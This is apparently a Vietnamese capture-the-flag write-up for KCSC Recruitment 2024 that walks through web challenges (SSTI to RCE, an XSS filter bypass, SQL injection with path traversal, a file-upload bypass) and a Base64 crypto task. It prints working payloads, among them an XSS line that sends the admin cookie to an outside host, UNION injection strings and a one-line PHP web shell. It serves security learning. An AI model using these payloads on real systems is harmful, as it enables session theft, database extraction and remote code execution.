# KCSC Recruitment 2024
## Web
### now you see me


Mở Challenge thì thấy có một template với form nhận đầu vào từ người dùng.

Kiểm tra mã nguồn của trang web thì không thấy có gì đặc biệt.

Sau khi submit thì được điều hướng tới trang khác.

Ở mã nguồn thấy có xuất hiện sự phản xạ của đầu vào được nhập trong mã nguồn.
Truyền vào một số kí tự đặc biệt và payload để kích hoạt XSS ( nếu có ) hoặc thông báo lỗi nhưng sau khi submit đều không có gì xảy ra và đầu vào dù chứa kí tự đặc biệt hay không đều được phản xạ vào mã nguồn mà không bị xoá hay escape.
Sau khi thử nhiều trường hợp thì mình suy đoán là input được submit gửi về server và bị xử lí, sau đó chỉ gán vào mã nguồn và trả về người dùng nên nhiều khả năng là một lỗ hổng server-side. Với lỗ hổng server-side và tương tác với form qua đầu vào từ người dùng thì mình cũng nghĩ đến SSTI.

Kiểm thử theo roadmap có sẵn.

Với payload "{{7*'7'}}" có response trả về như trên thì đây là Jinja2 SSTI. Còn đối với Twig SSTI thì response trả về sẽ là "49".

Sử dụng payload với hàm "popen()" để RCE, thử với giá trị đối số "id" thì trả về kết quả của các id đang chạy. Payload có thể sử dụng.

Lúc này chỉ cần thực hiện in ra nội dung trong file "flag.txt" để lấy flag là hoàn thành.
=====> Thành công
### x ec ec


Trang web là một trang dùng để render mã nguồn html.

Web sử dụng Javascript để xử lí một số tác vụ. Như lấy giá trị của người dùng nhập vào và đưa nó ra màn hình sau khi xử lí. Đáng chú ý là hàm "filterHTML()", đây là hàm để xử lí các chuỗi nguy hiểm bằng cách xoá nó. Nhưng nó có một lỗ hổng là nó xoá đi chuỗi nguy hiểm nhưng lại không kiểm tra xem có xuất hiện thêm không. Sử dụng chuỗi "on" thì sau khi render nó sẽ bị xoá nhưng với chuỗi "oonn" thì sau khi xoá vẫn sẽ còn lại chuỗi "on".

Thử tạo payload để kiểm tra "\<img src='a' oonnerror=alert()>" và thành công.


Ở trang "Report" thì sau khi nhập đầu vào và submit thì thấy popup.
Lúc này hướng đến việc XSS và thông qua đó lấy cookie của Admin và gửi qua request tới trang web của chúng ta. Sau khi thử và kiểm tra thì mình cũng xác nhận rằng không có các policy để giới hạn việc gửi request làm gián đoạn quá trình khai thác.
Sử dụng payload "\<img src='a' oonnerror="window.locatioonn='http://abc.com/?a='+document.cookie;">" để lấy cookie và gửi nó về.

Nhận được request chứa flag.
=====> Thành công
### KCSC x Jujutsu Kaisen

Challenger này cung cấp mã nguồn, vì vậy chúng ta sẽ xem qua mã nguồn trước. Ở đây, có một biến chứa key mã hoá "$key_decrypt = "REDACTED";" ta sẽ cần sau.
Có 2 lỗ hổng lớn mà đáng chú ý nhất.

Đầu tiên là SQL injection khi tham số "$username" được truyền trực tiếp vào truy vấn mà không được lọc bỏ kí tự nguy hiểm hoặc truyền bằng 'prepare statement'.

Ở đây có đoạn mã "\$position = strrpos($username, '.'); \$username = substr($username, 0, $position);" chỉ dùng để tách lấy ra phần tên trước dấu chấm, ví dụ "gojo.jpg" thì lấy "gojo" để truyền vào câu truy vấn SQL thông qua "\$dialogue = get_dialogue($conn, $username);" nhằm lấy ra bản ghi có tên tương ứng.
Tiếp đó, "\$imagePath = str_replace('./', '', "images/" . \$username);" để lấy đường dẫn cho file bên cạnh đó lọc kí tự đặc biệt "./" nhiều khả năng là để chống Dir Traversal. Nhưng vì nó chỉ thay thể chuỗi "./" thành rỗng, vì vậy chỉ cần lồng chuỗi này là có thể bypass.
Bên dưới, hàm sẽ kiếm tra sự tồn tại của file để trả về kết quả tương ứng. Đáng chú ý là nếu file tồn tại thì nó trả về trong "\<img src='data:image/jpeg;base64,$imageBase64' alt='Image' class='user-image'\>" với nội dung được mã hoá Base64.
Tiếp đến, chúng ta đi tới file khởi tạo DB. Chỉ có một số câu truy vấn thông thường nhưng ở đây có 2 hàm "ENC_REDACTED" và "DECRYPT_REDACTED" để mã hoá và giải mã với "REDACTED" là phần bị ẩn đi.
```
-- Encryption Function
DELIMITER \$$
CREATE FUNCTION ENC_REDACTED(dialogue VARCHAR(255))
RETURNS VARBINARY(255)
DETERMINISTIC
BEGIN
RETURN AES_ENCRYPT(dialogue, CONCAT('REDACTED', 'REDACTED'));
END$$
DELIMITER ;
-- Decryption Function
DELIMITER \$$
CREATE FUNCTION DECRYPT_REDACTED(enc_dialogue VARBINARY(255), key_str VARCHAR(255))
RETURNS VARCHAR(255)
DETERMINISTIC
BEGIN
RETURN AES_DECRYPT(enc_dialogue, CONCAT(key_str, 'REDACTED'));
END$$
DELIMITER ;
```
Sau khi recon tàm tạm thì mục tiêu có thể thấy là sử dụng SQL injection để tìm ra chuỗi trong DB và giải mã nó bằng hàm được khởi tạo sẵn. Và để sử dụng được hàm giải mã thì ta cần key và key đó được đặt trong source code.
Theo "$imagePath = str_replace('./', '', "images/" . $username);" ta có thể thấy, nó sẽ lấy file ảnh trong thư mục "images", và trong file mã nguồn tải về thì ta thấy file "index.php" nằm cùng cấp với thư mục "images". Dó đó ta chỉ cần Traversal để đọc file "index.php". Với việc lọc không cẩn thận, ta hoàn toàn có thể sử dụng payload "...//index.php" để truyền vào làm giá trị cho "username" qua URL. Lúc này, vì file tồn tại, nên nó sẽ được gắn trong thẻ "\<img>" với giá trị được mã hoá Base64. Ta chỉ cần giải mã nó, và lấy được key.

Tiếp theo, mình sử dụng một loại payload để dump các table, column và record của DB. Và như đã phân tích ở trên thì truy vấn được truyền thằng vào bằng giá trị của tham số nhưng bị cắt đi và chỉ lấy những phần trước dấu ".".
"gojo'+UNION+SELECT+TABLE_NAME+FROM+information_schema.tables--+."
"gojo'+UNION+SELECT+COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_NAME='users'--+."
"gojo'+UNION+SELECT+username+FROM+users--+."
"gojo'+UNION+SELECT+concat(username,dialogue)+FROM+users--+."
Mình hơi sa đà vào việc dump recored trong DB nên lỡ dump những cái mà được cho sẵn luôn. Và có một chuỗi kĩ tự mà mình nghi ngờ là "�.�e��̦�P57��)�]�fDž����&_U��ֆ>���*��9s*�F��&.��g,IQ������(��"���!�Y6��;J��O�.� ��hQ��Dm��zD��?=�{�� &��'@R�#Q3*U�B�0�Gcڣ<-3% L�m����!,j��F��JEoM�W?���"
Lúc này sử dụng payload "gojo'+UNION+SELECT+(DECRYPT_REDACTED((SELECT+dialogue+FROM+users+WHERE+username='toge'),+'\$up3r_$3cr3t_4_$3cur3'))--+." để tận dụng hàm giải mã được khởi tạo sẵn trong DB để giải mã là hoàn thành. Lúc này mình không để ý mà quên mất là tên hàm vẫn đang bị giấu, vì vậy mình sẽ lại phải quay lại dump DB để tìm ra tên hàm mới dùng được. Sau vài đường ChatGPT thì mình tìm ra được câu truy vấn để trả về tên các hàm, sau đó dựng payload "gojo'+UNION+SELECT+ROUTINE_NAME+FROM+information_schema.ROUTINES+WHERE+ROUTINE_SCHEMA+=+'jujutsu_kaisen'+AND+ROUTINE_TYPE+=+'FUNCTION'--+."

Thành công dump ra tên hàm, lúc này chỉnh sửa lại payload "gojo'+UNION+SELECT+(DECRYPT_DIALOGUE_xckQopBS4HrTe8b9((SELECT+dialogue+FROM+users+WHERE+username='toge'),+'\$up3r_$3cr3t_4_$3cur3'))--+." và thực hiện.

Flag được trả về.
=====> Thành công
### easy-upload ( Fail )

Sau khi ngồi nghiên cứu và tham khảo thì mình thấy bài này hoàn toàn trong khả năng chỉ là hơi tiếc khi mình không có thời gian để tập trung làm.

Bài này cho phép mình upload một file và lưu vào server.
Về cơ bản, dạng bài như này ta sẽ tập trung để upload file chứa script để thực hiện RCE và lấy flag. Sau khi upload một số file với dạng đuôi "php", "php.jpg", "jpg.php" hay là chỉnh sửa thông tin gói tin, ... nhưng vẫn không được.
Sau khi nghiên cứu các cách đổi đuôi của php để bypass và cùng với hint "Đừng cố gắng dùng các extension khác của PHP vì mình đã cấm hết rồi. Chú ý phần bypass file extension.". Thì mình nghĩ là họ đã tìm cách chặn hoặc escape hết các dạng biến đổi đơn thuần của "php" như "pHp", "phP%00", ... và mình thử thì không được thật. Lúc này mình thử lồng các kí tự vào nhau với vì có thể sever lọc đi chuỗi "php" mà có thể không kiểm tra một lần nữa chuỗi sau khi lọc, kiểu như hàm replace("php","") thì chuỗi "pphphp" sẽ thành "php" và lại không được tiếp.
Hơi nản và mình quyết định quay qua tìm path đến thư mục lưu trữ file được upload. Thử dùng dirsearch để tìm kiếm và tất nhiên không có thư mục nào khả dụng cả. Lúc này ta có thể sử dụng việc giới hạn trong đặt tên file để khiến sever trả về lỗi ( nếu có ) và có thể kèm theo thông tin hữu ích.

Thông báo lỗi và hàm bị lỗi được trả về.
Mình đã tìm được file được tải lên sẽ được lưu trong thư mục có path "/uploads/2f0b...968". Nhưng, khi tải một file khác lên để mở thử thì server lại trả vể lỗi 404 và sau nhiều lần thử thì nó vẫn vậy. Lúc này mình nghĩ 1 là có thể thông báo lỗi được trả về là cố ý chứ không phải lỗi thật nên path đó là bịp và 2 là path sai hoặc nó được thay đổi liên tục. Sau khi đọc WriteUp mình biết được là cái path đó bị thay đổi với từng user. Vậy thì khả năng cao là với mỗi request thì nó có từng folder được tạo riêng. Và điều mình nhắm tới là "PHPSESSID" vì nó có thể thay đổi và độc nhất.
Khi thử thay đổi "PHPSESSID" và cố tình kích hoạt lỗi thì mình thấy thông báo lỗi được đưa ra với folder thay đổi tương ứng. Đơn giản lúc này, ta chỉ cần thay đổi "PHPSESSID" thành một chuỗi đồng nhất với mọi request để ta có thể sử dụng chung một thư mục.

Sau khi thử lại thì mình đã mở thành công file được upload.
Tiếp tục quay về phần bypass đuôi file. Mình đọc WriteUp và thấy được có thể ghép chồng các phương pháp bypass, như là "pphphphpP" để khi thay thế chuỗi "php" thì đuôi sẽ trở thành "phP". Mình không nghĩ đến việc này vì cứ quen nghĩ là biến đổi đơn thuần của "php" là không được. Qua đó mình có thể đoán là server sẽ lọc đuôi "php" và các dạng biến đổi đơn thuần của nó trước rồi mới replace.

Thành công upload thử một PHP script.
Lúc này chỉ cần thay thế nội dung script có dạng "<?php system($_GET['a']) ?>" để file có thể thực thi câu lệnh hệ thông để thực hiện RCE.

Thành công RCE.

=====> Thành công
## Crypto
### Base64

Đây là một bài mã hoá, và được cung cấp mã nguồn xử lí sự mã hoá. Nhưng mình vô tình xoá mất file mã nguồn nhưng về cơ bản, file đó chứa hàm "encode()" để mã hoá chuỗi flag thành chuỗi mã hoá, ta chỉ cần dựa vào cách mã hoá để dịch ngược lại tạo thành hàm giải mã.

Hàm giải mã được tạo dựa trên hàm mã hoá ban đầu.

Thực thi chương trình và nhận về flag trước khi bị mã hoá.
=====> Thành công
## End